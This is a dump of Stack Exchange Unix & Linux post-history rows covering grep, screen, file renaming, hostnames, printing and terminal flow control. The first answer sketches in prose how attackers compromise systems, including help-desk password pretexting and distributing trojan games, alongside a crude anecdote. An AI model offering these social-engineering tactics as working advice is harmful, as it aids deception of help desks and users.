  <row Id="29859" PostHistoryTypeId="2" PostId="12218" RevisionGUID="73cd4b2c-5ea8-45e4-b4db-2fcbb2000d1f" CreationDate="2011-04-28T16:15:52.100" UserId="4063" Text="There are countless reasons one might try to compromise a system's security.  In broad strokes:&#xD;&#xA;&#xD;&#xA;- To use the system's resources (e.g. send spam, relay traffic)&#xD;&#xA;- To acquire information on the system (e.g. get customer data from an ecommerce site).&#xD;&#xA;- To change information on the system (e.g. deface a web site, plant false information, remove information)&#xD;&#xA;&#xD;&#xA;Only sometimes do these things require root access.  For example, entering a malformed search query on a site that doesn't properly sanitize user input can reveal information from the site's database, such as user names / passwords, email addresses, etc.&#xD;&#xA;&#xD;&#xA;Many computer criminals are just &quot;script kiddies&quot;; i.e. people who don't actually understand systems security, and may not even code, but run exploits written by others.  These are usually pretty easily defended against because they don't have the ability to adapt; they are limited to exploiting known vulnerabilities.  (Though they may leverage botnets -- large groups of compromised computers -- which can mean a danger of DDoS attacks.)&#xD;&#xA;&#xD;&#xA;For the skilled attacker, the process goes something like this:&#xD;&#xA;&#xD;&#xA;1. Figure out what the goal is, and what the goal is worth.  Security -- maintaining it or compromising it -- is a risk/reward calculation.  The riskier and more costly something will be, the more inticing the reward must be to make an attack worthwhile.&#xD;&#xA;&#xD;&#xA;2. Consider all the moving parts that effect whatever the goal is -- for example, if you want to send spam, you *could* attack the mail server, but it may make more sense to go after a different network-facing service, as all you really need is use of the target's net connection.  If you want user data, you'd start looking at the database server, the webapp and web server that have the ability to access it, the system that backs it up, etc.&#xD;&#xA;&#xD;&#xA;    **Never** discount the human factor.  Securing a computer system is far easier than securing human behavior.  Getting someone to reveal information they shouldn't, or run code they shouldn't, is both easy and effective.  In college, I won a bet with a friend that involved breaking into his uber-secure corporate network by donning a revealing outfit and running into a lecherous Vice President -- my friend's technical expertise far outweighed mine, but *nothing* trumps the power of a 17yo co-ed in a short skirt!&#xD;&#xA;&#xD;&#xA;    If you lack boobs, consider offering up a pointless game or something that idiots will download for fun without considering what it really might be doing.&#xD;&#xA;&#xD;&#xA;3. Look at each part you've identified, and consider what it can do, and how that could be tweaked to do what you want -- maybe the help desk resets passwords for users frequently without properly identifying the caller, and calling them sounding confused will get you someone else's password.  Maybe the webapp isn't checking what is put in the search box to make sure it isn't code before sticking it in a function it runs.  Security compromises usually start with something purposely exposed that can be made to behave in a way it shouldn't." />
  <row Id="29861" PostHistoryTypeId="17" PostId="12221" RevisionGUID="1422f018-dd9f-4b33-b3f7-96ba545f46fe" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix/5820854#5820854" Text="" />
  <row Id="29862" PostHistoryTypeId="17" PostId="12222" RevisionGUID="93fd30f5-9fe3-466f-a9e6-af0911251404" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix/5820864#5820864" Text="" />
  <row Id="29863" PostHistoryTypeId="17" PostId="12223" RevisionGUID="9ee21175-5c08-4f50-a35c-e94c843c1425" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix/5820930#5820930" Text="" />
  <row Id="29864" PostHistoryTypeId="17" PostId="12224" RevisionGUID="f08b04c8-5d40-4051-99a7-17e488083e70" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix/5820962#5820962" Text="" />
  <row Id="29866" PostHistoryTypeId="17" PostId="12226" RevisionGUID="7c5362f0-3e8b-4ad8-bfbe-b9790e932ea3" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix/5821028#5821028" Text="" />
  <row Id="29868" PostHistoryTypeId="2" PostId="12221" RevisionGUID="a37ad59c-892f-49b6-8b83-42aa9a2db79b" CreationDate="2011-04-28T15:12:17.857" UserDisplayName="Marc B" Text="The best way is to use grep:&#xD;&#xA;&#xD;&#xA;    grep -H 'string to search' file1.txt file2.txt filen.txt&#xD;&#xA;&#xD;&#xA;will search the specified files for a string, and print out the matching lines along with the filename where the match was found." />
  <row Id="29869" PostHistoryTypeId="2" PostId="12222" RevisionGUID="acc4dd62-f219-4f29-a7d4-1f476219ff78" CreationDate="2011-04-28T15:12:54.453" UserDisplayName="eggie5" Text="Unix find command:&#xD;&#xA;&#xD;&#xA;    find . -exec grep &quot;i want to find this string&quot; '{}' \; -print&#xD;&#xA;&#xD;&#xA;will search from current dir and down.&#xD;&#xA;&#xD;&#xA;This works too:&#xD;&#xA;&#xD;&#xA;    egrep -r 'arbitrary string' *" />
  <row Id="29870" PostHistoryTypeId="2" PostId="12223" RevisionGUID="598b0698-46fb-4446-81db-0027b5965785" CreationDate="2011-04-28T15:17:37.443" UserId="5839" Text="Simple grep command with -e option:&#xD;&#xA;&#xD;&#xA;     grep -e &quot;string1&quot; -e &quot;string2&quot; -e &quot;stringn&quot; file*.txt&#xD;&#xA;&#xD;&#xA;Or you can put all the search strings in a file called search.txt like this:&#xD;&#xA;&#xD;&#xA;    string1&#xD;&#xA;    string2&#xD;&#xA;    string3&#xD;&#xA;    ...&#xD;&#xA;    ...&#xD;&#xA;    stringN&#xD;&#xA;&#xD;&#xA;and then run grep like this with `-f` option:&#xD;&#xA;&#xD;&#xA;    grep -f search.txt file*.txt" />
  <row Id="29871" PostHistoryTypeId="2" PostId="12224" RevisionGUID="44006942-0869-4a2d-ab94-07d1c844f281" CreationDate="2011-04-28T15:19:21.537" UserDisplayName="Brigham" Text="Use grep to search for all the strings in one pass:&#xD;&#xA;&#xD;&#xA;    grep -E -H 'string1|string2|stringn' file1.txt file2.txt filen.txt&#xD;&#xA;&#xD;&#xA;The `-E` lets you use the pipe character(|) without escaping it. The `-H` prints the filename for each match. The regular expression uses pipes to separate each string, so that `grep` will try to match each one in order." />
  <row Id="29873" PostHistoryTypeId="2" PostId="12226" RevisionGUID="ef84ddc5-a1f6-4c13-a061-692c65bf7fd6" CreationDate="2011-04-28T15:24:25.017" UserId="6122" Text="There is a variant of grep that supports this feature for large sets of strings, try &#xD;&#xA;&#xD;&#xA;    fileWithListOfSearchTargets=myFileOfSearchTargets.txt&#xD;&#xA;&#xD;&#xA;    fgrep -f ${fileWithListOfSearchTargets} file1 file2 ... filen&#xD;&#xA;&#xD;&#xA;(The variable and filenames are  meant to be self-documenting, you can use any name you like)&#xD;&#xA;&#xD;&#xA;You have to enter all your search strings into the file.&#xD;&#xA;&#xD;&#xA;No leading or trailing spaces unless you expect those to match in your filelist.&#xD;&#xA;There is a limit to the size that most `fgrep`s can process. Don't try to cram 10K lines into one file.&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29874" PostHistoryTypeId="2" PostId="12219" RevisionGUID="1096f7f3-c16d-4519-b43e-d87ebe4696e2" CreationDate="2011-04-28T15:09:02.157" UserDisplayName="AbraKdabra" Text="Hi, I've got a bunch on strings which I need to find in a couple of files, for example:&#xD;&#xA;&#xD;&#xA;string1&#xD;&#xA;string2&#xD;&#xA;stringn&#xD;&#xA;&#xD;&#xA;file1.txt&#xD;&#xA;file2.txt&#xD;&#xA;filen.txt&#xD;&#xA;&#xD;&#xA;Is there a (easy) way to do that in bash?&#xD;&#xA;I need to know, if a string was found, in which file is it.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="29875" PostHistoryTypeId="1" PostId="12219" RevisionGUID="1096f7f3-c16d-4519-b43e-d87ebe4696e2" CreationDate="2011-04-28T15:09:02.157" UserDisplayName="AbraKdabra" Text="Searching strings on files (UNIX)" />
  <row Id="29876" PostHistoryTypeId="3" PostId="12219" RevisionGUID="1096f7f3-c16d-4519-b43e-d87ebe4696e2" CreationDate="2011-04-28T15:09:02.157" UserDisplayName="AbraKdabra" Text="ébashà" />
  <row Id="29877" PostHistoryTypeId="17" PostId="12219" RevisionGUID="15f8d2fe-96ce-4be4-aefa-77df46d7d8f3" CreationDate="2011-04-28T16:25:21.497" UserId="-1" Comment="from http://stackoverflow.com/questions/5820798/searching-strings-on-files-unix" Text="" />
  <row Id="29878" PostHistoryTypeId="5" PostId="12205" RevisionGUID="688192d0-fca0-49b7-a055-6e395feeb7fa" CreationDate="2011-04-28T16:48:34.613" UserId="4063" Comment=" &quot;hacking&quot; does not mean &quot;breaking into others' systems&quot;" Text="No im not looking to become a cracker or something like that, but Im trying to figure out the process (more from a programming perspective).&#xD;&#xA;&#xD;&#xA;So im assuming (guessing) a cracker's main goal is to gain root access to install whatever software (or script) he's written up right? or maybe installing their own kernal module (thats devious for whatever reason)&#xD;&#xA;How exactly does a person go about doing this?&#xD;&#xA;&#xD;&#xA;I know people use scripts to check for exploits......but I don't see how, and I also don't exactly see what they do with them once they find them? Are they checking versions for known exploits......and then once they find one.......&#xD;&#xA;&#xD;&#xA;I know this all sounds very newbish. but im just trying to get an idea of how it works since I know Linux/Unix systems are supposed to be very secure but im trying to figure out how someone would even go about (the process) of gaining root access." />
  <row Id="29879" PostHistoryTypeId="6" PostId="12205" RevisionGUID="688192d0-fca0-49b7-a055-6e395feeb7fa" CreationDate="2011-04-28T16:48:34.613" UserId="4063" Comment=" &quot;hacking&quot; does not mean &quot;breaking into others' systems&quot;" Text="élinuxàésecurityà" />
  <row Id="29880" PostHistoryTypeId="24" PostId="12205" RevisionGUID="688192d0-fca0-49b7-a055-6e395feeb7fa" CreationDate="2011-04-28T16:48:34.613" Comment="Proposed by 4063 approved by 885 edit id of 337" />
  <row Id="29881" PostHistoryTypeId="17" PostId="12228" RevisionGUID="6cbd8d64-9134-458c-a886-f95f2bea6f0b" CreationDate="2011-04-28T16:52:11.203" UserId="-1" Comment="from http://stackoverflow.com/questions/5810510/unix-screen-setting-name/5810643#5810643" Text="" />
  <row Id="29882" PostHistoryTypeId="17" PostId="12229" RevisionGUID="80c67ae3-f8d3-491b-b957-b3d344a429a3" CreationDate="2011-04-28T16:52:11.203" UserId="-1" Comment="from http://stackoverflow.com/questions/5810510/unix-screen-setting-name/5811860#5811860" Text="" />
  <row Id="29883" PostHistoryTypeId="2" PostId="12228" RevisionGUID="7b97ad54-2368-42fd-8927-fcc146367998" CreationDate="2011-04-27T21:11:11.387" UserId="6122" Text="Ah... Screen, it takes me back  ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For one window&#xD;&#xA;&#xD;&#xA;    -t name&#xD;&#xA;        sets the title (a.k.a.) for the default shell or specified program. &#xD;&#xA;        See also the &quot;shelltitle&quot; .screenrc command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For mutliple sessions started from your .screenrc&#xD;&#xA;&#xD;&#xA;    screen -t top 2 nice top&#xD;&#xA;    screen -t ....&#xD;&#xA;&#xD;&#xA;Here's a link to one on-line copy of the [ man-page for screen.][1]&#xD;&#xA;&#xD;&#xA;**Edit : added**&#xD;&#xA;&#xD;&#xA;To change the current screens name, make a shell script tool like&#xD;&#xA;&#xD;&#xA;    cat scrnTitle.sh&#xD;&#xA;    #/bin/bash&#xD;&#xA;    echo -ne '\ek${0}\e\\'&#xD;&#xA;&#xD;&#xA;Untested, I don't have screen available on the system I am working on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slac.stanford.edu/grp/cd/soft/epics/extensions/iocConsole/screen.1.html" />
  <row Id="29884" PostHistoryTypeId="2" PostId="12229" RevisionGUID="7a4ef65e-1039-4157-bbc7-b2d6b2eed390" CreationDate="2011-04-27T23:20:52.683" UserId="1987" Text="While running `screen`:&#xD;&#xA;&#xD;&#xA;`Ctrl+a` (or whatever your `screen` escape sequence is) `A`" />
  <row Id="29885" PostHistoryTypeId="2" PostId="12227" RevisionGUID="45349659-b982-43a8-91b5-d5848a6633e3" CreationDate="2011-04-27T20:59:43.443" UserId="3149" Text="Is there a way to give a particular name to a unix screen session? For instance, say I'm running the same program multiple times, each with different parameters and I want to tell which one is which." />
  <row Id="29886" PostHistoryTypeId="1" PostId="12227" RevisionGUID="45349659-b982-43a8-91b5-d5848a6633e3" CreationDate="2011-04-27T20:59:43.443" UserId="3149" Text="Unix Screen: Setting name" />
  <row Id="29887" PostHistoryTypeId="3" PostId="12227" RevisionGUID="45349659-b982-43a8-91b5-d5848a6633e3" CreationDate="2011-04-27T20:59:43.443" UserId="3149" Text="éscreenà" />
  <row Id="29888" PostHistoryTypeId="17" PostId="12227" RevisionGUID="1dbf5c8e-70cb-43f7-abd0-d7ff63d0d9ed" CreationDate="2011-04-28T16:52:11.203" UserId="-1" Comment="from http://stackoverflow.com/questions/5810510/unix-screen-setting-name" Text="" />
  <row Id="29889" PostHistoryTypeId="2" PostId="12230" RevisionGUID="ff875e55-a108-42a8-b77b-fe1fe4afcd4b" CreationDate="2011-04-28T17:25:10.870" UserId="7046" Text="I have a large collection of image files, for example:&#xD;&#xA;&#xD;&#xA;    a.png, b.png, c.png, etc&#xD;&#xA;&#xD;&#xA;If I have a file with mappings of filenames to numbers, like so (ignore the format, it could be anything):&#xD;&#xA;&#xD;&#xA;    a=&gt;1&#xD;&#xA;    b=&gt;2&#xD;&#xA;    c=&gt;3&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Is there any easy way to batch rename all the files using the mapping file to:&#xD;&#xA;&#xD;&#xA;    1.png, 2.png, 3.png, etc&#xD;&#xA;&#xD;&#xA;I'm looking for unix/linux commands. I know I can write a very simple script, but just curious if there is any other technique.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="29890" PostHistoryTypeId="1" PostId="12230" RevisionGUID="ff875e55-a108-42a8-b77b-fe1fe4afcd4b" CreationDate="2011-04-28T17:25:10.870" UserId="7046" Text="Batch File Rename Using Mapping File" />
  <row Id="29891" PostHistoryTypeId="3" PostId="12230" RevisionGUID="ff875e55-a108-42a8-b77b-fe1fe4afcd4b" CreationDate="2011-04-28T17:25:10.870" UserId="7046" Text="élinuxàésedàéawkà" />
  <row Id="29892" PostHistoryTypeId="2" PostId="12231" RevisionGUID="fad6d921-d39c-4a09-8df9-d67fd7cd0e75" CreationDate="2011-04-28T17:25:22.710" UserId="2168" Text="What is the right thing to set a computer's hostname to? (`/bin/hostname`, `/etc/hostname`, `sethostname(2)`, etc.)&#xD;&#xA;&#xD;&#xA;I usually just use the &quot;name&quot; part, and it works perfectly (for me at least), but I've seen it implied in some places that I should use the entire &quot;name.domain.tld&quot; instead... which just doesn't feel &quot;right&quot; for me." />
  <row Id="29893" PostHistoryTypeId="1" PostId="12231" RevisionGUID="fad6d921-d39c-4a09-8df9-d67fd7cd0e75" CreationDate="2011-04-28T17:25:22.710" UserId="2168" Text="`hostname` - host name or FQDN?" />
  <row Id="29894" PostHistoryTypeId="3" PostId="12231" RevisionGUID="fad6d921-d39c-4a09-8df9-d67fd7cd0e75" CreationDate="2011-04-28T17:25:22.710" UserId="2168" Text="énetworkingàéhostnameà" />
  <row Id="29895" PostHistoryTypeId="2" PostId="12232" RevisionGUID="b30f9edd-4f2c-4c6e-bdf2-4afd12dfcbe6" CreationDate="2011-04-28T17:27:30.560" UserId="2421" Text="Most likely, rsync on the destination end is not running as a user with permission to `chmod` those files (which would have to be either the file's owner or root)." />
  <row Id="29896" PostHistoryTypeId="2" PostId="12233" RevisionGUID="14cfe8f7-4322-4f39-8a1e-d1ca654bad61" CreationDate="2011-04-28T17:45:15.407" UserId="2168" Text="There isn't a single command for _everything_; that's the point of having a scriptable shell.&#xD;&#xA;&#xD;&#xA;    while read -r old new; do&#xD;&#xA;        mv &quot;$old.png&quot; &quot;$new.png&quot;&#xD;&#xA;    done &lt; map.txt" />
  <row Id="29897" PostHistoryTypeId="2" PostId="12234" RevisionGUID="bebe623b-8df3-42aa-9712-8732be57da1b" CreationDate="2011-04-28T17:46:39.947" UserId="1178" Text="This is one way with perl:&#xD;&#xA;&#xD;&#xA;    cat mapfile | perl -e 'my$h={eval join(&quot;,&quot;,&lt;&gt;)};while (($k,$v)=each%$h){`mv $k.png $v.png`}'" />
  <row Id="29898" PostHistoryTypeId="2" PostId="12235" RevisionGUID="114c6546-fecd-4d92-8417-079c7ce40126" CreationDate="2011-04-28T17:47:15.667" UserId="4485" Text="Without sed, you may do replacements like this in bash:&#xD;&#xA;&#xD;&#xA;    for line in  $(&lt; patterns) ; do  echo &quot;Pattern: &quot; $line &quot; char: &quot;  ${line/=&gt;*/} &quot; nr: &quot; ${line/*=&gt;/}; done &#xD;&#xA;&#xD;&#xA;('patterns' would be the file with a=&gt;1 and so on) which leads to: &#xD;&#xA;&#xD;&#xA;    for line in  $(&lt; patterns) ; do&#xD;&#xA;      c=${line/=&gt;*/}&#xD;&#xA;      n=${line/*=&gt;/}&#xD;&#xA;      mv $c.png $n.png &#xD;&#xA;    done &#xD;&#xA;&#xD;&#xA;The manpage of bash lists this and other, interesting options under 'string substitution'.&#xD;&#xA;&#xD;&#xA;Maybe perls `rename` is an interesting option too. It allows mass renamings with patterns, like &#xD;&#xA;&#xD;&#xA;    rename 's/^a/1/' a*png &#xD;&#xA;&#xD;&#xA;On ubuntu, it comes with the perl-package, afaik." />
  <row Id="29899" PostHistoryTypeId="2" PostId="12236" RevisionGUID="22979290-8264-4e97-bf44-b8eaaf7fb6a6" CreationDate="2011-04-28T17:55:19.610" UserId="7047" Text="I've programmed in a number of languages for two years now, I mean that I know how to design and implement a decent solution for a given problem.&#xD;&#xA;&#xD;&#xA;However, bash is being a major headache to me, just nothing does work as expected -or even without errors-.&#xD;&#xA;&#xD;&#xA;All of the guides I've found were incredibly informal, not properly summarising its syntax or telling the most common errors you can make.&#xD;&#xA;&#xD;&#xA;So what can you recommend me?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="29900" PostHistoryTypeId="1" PostId="12236" RevisionGUID="22979290-8264-4e97-bf44-b8eaaf7fb6a6" CreationDate="2011-04-28T17:55:19.610" UserId="7047" Text="Best resources to learn bash scripting?" />
  <row Id="29901" PostHistoryTypeId="3" PostId="12236" RevisionGUID="22979290-8264-4e97-bf44-b8eaaf7fb6a6" CreationDate="2011-04-28T17:55:19.610" UserId="7047" Text="ébashà" />
  <row Id="29902" PostHistoryTypeId="2" PostId="12237" RevisionGUID="e4638272-b458-42d3-8305-b18f74a49edf" CreationDate="2011-04-28T18:03:56.657" UserId="4485" Text="    egrep &quot;(string1|string2|string3)&quot; file{1..3}&#xD;&#xA;" />
  <row Id="29903" PostHistoryTypeId="2" PostId="12238" RevisionGUID="1cb660e2-633e-40ea-9ea7-4efc5b62494b" CreationDate="2011-04-28T18:08:36.557" UserId="2594" Text="Just the name as you already do. A hostname shouldn't contain any domainname." />
  <row Id="29904" PostHistoryTypeId="25" PostId="12205" RevisionGUID="eb0fe437-2b49-4ee2-b772-245282f3a3d1" CreationDate="2011-04-28T18:09:19.550" Comment="http://twitter.com/#!/StackUnix/status/63666116278489090" />
  <row Id="29905" PostHistoryTypeId="5" PostId="12219" RevisionGUID="79fbd070-baf9-45c0-b01a-a513d6bc9f62" CreationDate="2011-04-28T18:10:10.483" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="I've got a bunch on strings which I need to find in a couple of files, for example:&#xD;&#xA;&#xD;&#xA;    string1&#xD;&#xA;    string2&#xD;&#xA;    stringn&#xD;&#xA;&#xD;&#xA;    file1.txt&#xD;&#xA;    file2.txt&#xD;&#xA;    filen.txt&#xD;&#xA;&#xD;&#xA;Is there an (easy) way to do that in bash? I need to know, if a string was found, in which file is it.&#xD;&#xA;" />
  <row Id="29906" PostHistoryTypeId="4" PostId="12219" RevisionGUID="79fbd070-baf9-45c0-b01a-a513d6bc9f62" CreationDate="2011-04-28T18:10:10.483" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="Searching strings on files" />
  <row Id="29907" PostHistoryTypeId="6" PostId="12219" RevisionGUID="79fbd070-baf9-45c0-b01a-a513d6bc9f62" CreationDate="2011-04-28T18:10:10.483" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="ébashàésearchà" />
  <row Id="29908" PostHistoryTypeId="2" PostId="12239" RevisionGUID="ed342abd-f008-450d-933c-4417efcf6302" CreationDate="2011-04-28T18:11:12.063" UserId="6984" Text="How to kill a printing job on centOS? Thanks." />
  <row Id="29909" PostHistoryTypeId="1" PostId="12239" RevisionGUID="ed342abd-f008-450d-933c-4417efcf6302" CreationDate="2011-04-28T18:11:12.063" UserId="6984" Text="How to kill a printing job on centOS? Thanks." />
  <row Id="29910" PostHistoryTypeId="3" PostId="12239" RevisionGUID="ed342abd-f008-450d-933c-4417efcf6302" CreationDate="2011-04-28T18:11:12.063" UserId="6984" Text="élinuxàécommandölineàécentosàéprintingà" />
  <row Id="29911" PostHistoryTypeId="2" PostId="12240" RevisionGUID="088342fd-6737-4ea7-80d5-1b3b9439c626" CreationDate="2011-04-28T18:38:03.070" UserId="6761" Text="&lt;blockquote&gt;All of the guides I've found were incredibly informal, not properly summarising its syntax or telling the most common errors you can make.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;The best resource to address common errors is &lt;a href=&quot;http://mywiki.wooledge.org/BashFAQ?action=show&amp;redirect=BashFaq&quot;&gt;Greg's Wiki&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Another very good resource for pointers on syntax and good practice is the &lt;a href=&quot;http://wiki.bash-hackers.org/start&quot;&gt;Bash Hackers Wiki&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29912" PostHistoryTypeId="2" PostId="12241" RevisionGUID="a8a6c368-680b-430b-b84f-b2000c1ac6e7" CreationDate="2011-04-28T18:43:53.907" UserId="4877" Text="I like the TLDP guides&#xD;&#xA;http://tldp.org/guides.html&#xD;&#xA;&#xD;&#xA;Their is everything from Beginner to Advanced Bash guides, it's how I learned anyways." />
  <row Id="29913" PostHistoryTypeId="5" PostId="12192" RevisionGUID="966dba99-1a01-4455-8bbe-23205b12e6da" CreationDate="2011-04-28T18:52:59.300" UserId="3879" Comment="spelling and grammar" Text="It seems your Desktop-Link points to the old version of pidgin.&#xD;&#xA;What kind of Desktop Manager are you using? Depending on your Desktop Manager you can change that link (Desktop Icon --to--&gt; binary).&#xD;&#xA;&#xD;&#xA;To find out the location of the &quot;default&quot; pidgin use an console-command&#xD;&#xA;&#xD;&#xA;    type pidgin&#xD;&#xA;&#xD;&#xA;...should return something like &quot;pidgin is /usr/bin/pidgin&quot;&#xD;&#xA;&#xD;&#xA;What version of pidgin starts when you run the binary returned by `type pidgin`?&#xD;&#xA;&#xD;&#xA;What Linux distribution/package manager are you using? Depending on the package manager there are different command-line tools to get the information which pidgin package is installed.&#xD;&#xA;&#xD;&#xA;Look at your error-log.&#xD;&#xA;Did you recognize the following lines?&#xD;&#xA;&#xD;&#xA;    No package Pidgin available.&#xD;&#xA;      * Maybe you meant: pidgin&#xD;&#xA;&#xD;&#xA;Remember, that commands in Linux are case sensitive." />
  <row Id="29914" PostHistoryTypeId="24" PostId="12192" RevisionGUID="966dba99-1a01-4455-8bbe-23205b12e6da" CreationDate="2011-04-28T18:52:59.300" Comment="Proposed by 3879 approved by 885 edit id of 338" />
  <row Id="29915" PostHistoryTypeId="5" PostId="12234" RevisionGUID="b6707476-dad3-4c0a-9bc3-c4465f522f09" CreationDate="2011-04-28T18:53:41.713" UserId="1178" Comment="added 221 characters in body" Text="This is one way with perl:&#xD;&#xA;&#xD;&#xA;    cat mapfile | perl -e 'my$h={eval join(&quot;,&quot;,&lt;&gt;)};while (($k,$v)=each%$h){`mv $k.png $v.png`}'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Second try:&#xD;&#xA;&#xD;&#xA;    perl -nle '(@a=map{s/^\s+//;s/\s+$//;s/'/\\'/g;$_}split/\s*=&gt;\s*/,$_,2)and`mv \'$a[0].png\' \'$a[1].png\'`'&#xD;&#xA;&#xD;&#xA;Works with:&#xD;&#xA;&#xD;&#xA;    Someone's $tupid file name    =&gt;   renamed by &quot;simple&quot; script?!" />
  <row Id="29916" PostHistoryTypeId="2" PostId="12242" RevisionGUID="c86be8bb-7285-43d0-8e3b-0ec43a9836e6" CreationDate="2011-04-28T18:59:24.887" UserId="4949" Text="That entirely depends on what printing daemon you have installed, although if you're the one who started it, try opening a terminal window and typing `lpq` to see if the job you want killed is listed. If so, use `lprm queuenum` where `queuenum` is the number of the job in the queue that you want killed." />
  <row Id="29917" PostHistoryTypeId="2" PostId="12243" RevisionGUID="9158c957-816a-4436-afc5-a07515c846a2" CreationDate="2011-04-28T19:05:54.510" UserId="6027" Text="Sometimes my keyboard shortcuts in gnome do not work (ctrl-alt-right for next desktop, ctrl-alt-m for menu, ctrl-alt-b for browser, et cetera) &#xD;&#xA;&#xD;&#xA;Sometimes after rebooting they do work.  &#xD;&#xA;&#xD;&#xA;I wish I could provide more diagnostic information, but, I don't know what is relevant.  &#xD;&#xA;&#xD;&#xA;Please advise." />
  <row Id="29918" PostHistoryTypeId="1" PostId="12243" RevisionGUID="9158c957-816a-4436-afc5-a07515c846a2" CreationDate="2011-04-28T19:05:54.510" UserId="6027" Text="erratic keyboard shortcut behavior - gnome debian testing" />
  <row Id="29919" PostHistoryTypeId="3" PostId="12243" RevisionGUID="9158c957-816a-4436-afc5-a07515c846a2" CreationDate="2011-04-28T19:05:54.510" UserId="6027" Text="égnomeàékeyboardöshortcutsà" />
  <row Id="29920" PostHistoryTypeId="2" PostId="12244" RevisionGUID="1becee61-71cb-4ed5-94ca-37ce1a3dd49f" CreationDate="2011-04-28T19:08:25.440" UserId="2343" Text="I use Ubuntu.. In 'gnome-terminal', I can type Unicode Codepoints by first typing Ctrl-Shift-u followed by the Codepoint hex value, eg. `C-S-u 2468` produces ⑨  &#xD;&#xA;&#xD;&#xA;`konsole`, my preferred terminal, does not have this C-S-u (gnome) feature.. &#xD;&#xA;&#xD;&#xA;Is there some equivalent KDE way to do this in Konsole?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29921" PostHistoryTypeId="1" PostId="12244" RevisionGUID="1becee61-71cb-4ed5-94ca-37ce1a3dd49f" CreationDate="2011-04-28T19:08:25.440" UserId="2343" Text="How can I type Unicode characters into KDE's Konsole terminal from a Gnome desktop?" />
  <row Id="29922" PostHistoryTypeId="3" PostId="12244" RevisionGUID="1becee61-71cb-4ed5-94ca-37ce1a3dd49f" CreationDate="2011-04-28T19:08:25.440" UserId="2343" Text="égnomeàéterminalàékdeàékeyboardàéunicodeà" />
  <row Id="29923" PostHistoryTypeId="5" PostId="12146" RevisionGUID="f3d27dc0-e75e-48ef-b2cf-865658cee286" CreationDate="2011-04-28T19:08:42.183" UserId="5835" Comment="stupid typo" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; is indeed the answer. I thought I'd toss in a little history of this that is too long to fit in the margins of [ak2's correct answer](http://unix.stackexchange.com/questions/12107/how-to-unfreeze-after-accidentally-pressing-ctrl-s-in-a-terminal/12108#12108).&#xD;&#xA;&#xD;&#xA;Back in the dark ages, a terminal was a large piece of equipment that connected to a remote device (originally another terminal because teletypes were so much easier to learn to operate than a telegraph key) over a long wire or via phone lines with modems. By the time Unix was developing, the ASCII code was already well established (although the competing EBCDIC code from IBM was was still a force to be reckoned with).&#xD;&#xA;&#xD;&#xA;The earliest terminals kept a printed record of every character received. As long as the character arrived no faster than the print head could type them, at least. But as soon as CRT based terminals were possible, the problem arose that only about 25 lines fit on the CRT, and 25 lines of 80 characters represented enough RAM that no one thought seriously about providing more RAM for characters that had scrolled off the top of the screen.&#xD;&#xA;&#xD;&#xA;So some convention was needed to signal that the sending end should pause to let the reader catch up.&#xD;&#xA;&#xD;&#xA;The 7-bit ASCII code has 33 code points devoted to control characters (0 to 31 and 127). Some of those had really well established purposes, such as `NUL` (blank paper tape leader for threading, gaps, and splices), `DEL` (&quot;crossed out&quot; characters on paper tape indicated by punching all seven holes), `BEL` (ding!), `CR`, `LF`, and `TAB`. But four were defined explicitly for controlling the terminal device itself (`DC1` to `DC4` aka Ctrl+Q, Ctrl+R, Ctrl+S and Ctrl+T).&#xD;&#xA;&#xD;&#xA;My best guess is that some engineer though that as mnemonics go, &quot;S&quot; for &quot;Stop&quot; and &quot;Q&quot; for &quot;Continue&quot; weren't too bad, and assigned `DC3` to mean &quot;please stop sending&quot; and `DC1` to mean &quot;ok, continue sending now&quot;.&#xD;&#xA;&#xD;&#xA;Even that convention was already well established by the time Unix was leaving nest at Bell Labs to go out into the world.&#xD;&#xA;&#xD;&#xA;The convention is known as software flow control, and is extremely common in real serial devices. It is not easy to implement correctly, as it prevents the use of either of those characters for any other purpose in the communications channel, and the Stop signal has to be handled ahead of any pending received characters to avoid sending more than the receiving end can handle.&#xD;&#xA;&#xD;&#xA;If practical, using additional signals out of band from the serial data stream for flow control is vastly preferred. On directly wired connections that can afford the additional signal wires, you will find hardware handshake in use, which frees up those characters for other uses.&#xD;&#xA;&#xD;&#xA;Of course, today's terminal window is not using an actual physical serial port, has scroll bars, and doesn't really need software handshaking at all. But the convention persists.&#xD;&#xA;&#xD;&#xA;I recall the claim that Richard Stallman received complaints about his mapping Ctrl+S to incremental-search in the first releases of emacs, and that he was rather unsympathetic to any user that had to depend on a 7-bit, software flow controlled connection." />
